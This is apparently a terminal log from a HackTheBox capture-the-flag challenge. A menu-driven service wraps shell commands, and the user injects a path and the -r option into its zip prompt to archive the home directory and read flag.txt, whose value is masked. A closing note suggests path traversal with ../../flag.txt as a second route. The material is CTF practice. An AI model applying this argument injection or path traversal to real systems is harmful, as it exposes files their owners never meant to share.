nc -v 138.68.175.87 31818
[*] Directory to work in: dq1LTMz5rUKyhNCtsplYyZ5p9WGCFibE
Component List:
+===============+
| |
| 1. Head 🤖 |
| 2. Torso 🦴 |
| 3. Hands 💪 |
| 4. Legs 🦵 |
| |
+===============+
[*] Choose component: 2
[*] Sub-directory to work in: dq1LTMz5rUKyhNCtsplYyZ5p9WGCFibE/Torso
Actions:
1. Create artifact
2. List directory (pwd; ls -la)
3. Read artifact (cat ./<name>)
4. Compress artifact (zip <name>.zip <name> <options>)
5. Change directory (cd <dirname>)
6. Clean directory (rm -rf ./*)
7. Exit
[*] Choose action: 4
Insert <name>.zip: all2
Insert <name>: /home/ctf
Insert <options>: -r
adding: home/ctf/ (stored 0%)
adding: home/ctf/jW1Cvr9szuSaH19WUcoHrIqSzwZzEiLc/ (stored 0%)
adding: home/ctf/jW1Cvr9szuSaH19WUcoHrIqSzwZzEiLc/Head/ (stored 0%)
<SNIP>
adding: home/ctf/0k5dvqO9ZXrvw3Vn5x11BiZHPgOXAyDO/Legs/ (stored 0%)
adding: home/ctf/artifacts.py (deflated 63%)
adding: home/ctf/clear.py (deflated 32%)
adding: home/ctf/flag.txt (stored 0%)
Actions:
1. Create artifact
2. List directory (pwd; ls -la)
3. Read artifact (cat ./<name>)
4. Compress artifact (zip <name>.zip <name> <options>)
5. Change directory (cd <dirname>)
6. Clean directory (rm -rf ./*)
7. Exit
[*] Choose action: 3
Insert name you want to read: all2.zip
PK
�]�T home/ctf/UT T9�bN;�bux
��PK
\\�T*home/ctf/jW1Cvr9szuSaH19WUcoHrIqSzwZzEiLc/UT <6�bN;�bux
��PK
\\�T/home/ctf/jW1Cvr9szuSaH19WUcoHrIqSzwZzEiLc/Head/UT <6�bN;�bux
<SNIP>
���Txl��&&home/ctf/flag.txtUT �E}b�E}bux
HTB{ZZZZZZZZZZZZZZZZZZZZZZ}
NB: maybe choosing 3 (Read artifact and input ../../flag.txt should work directly)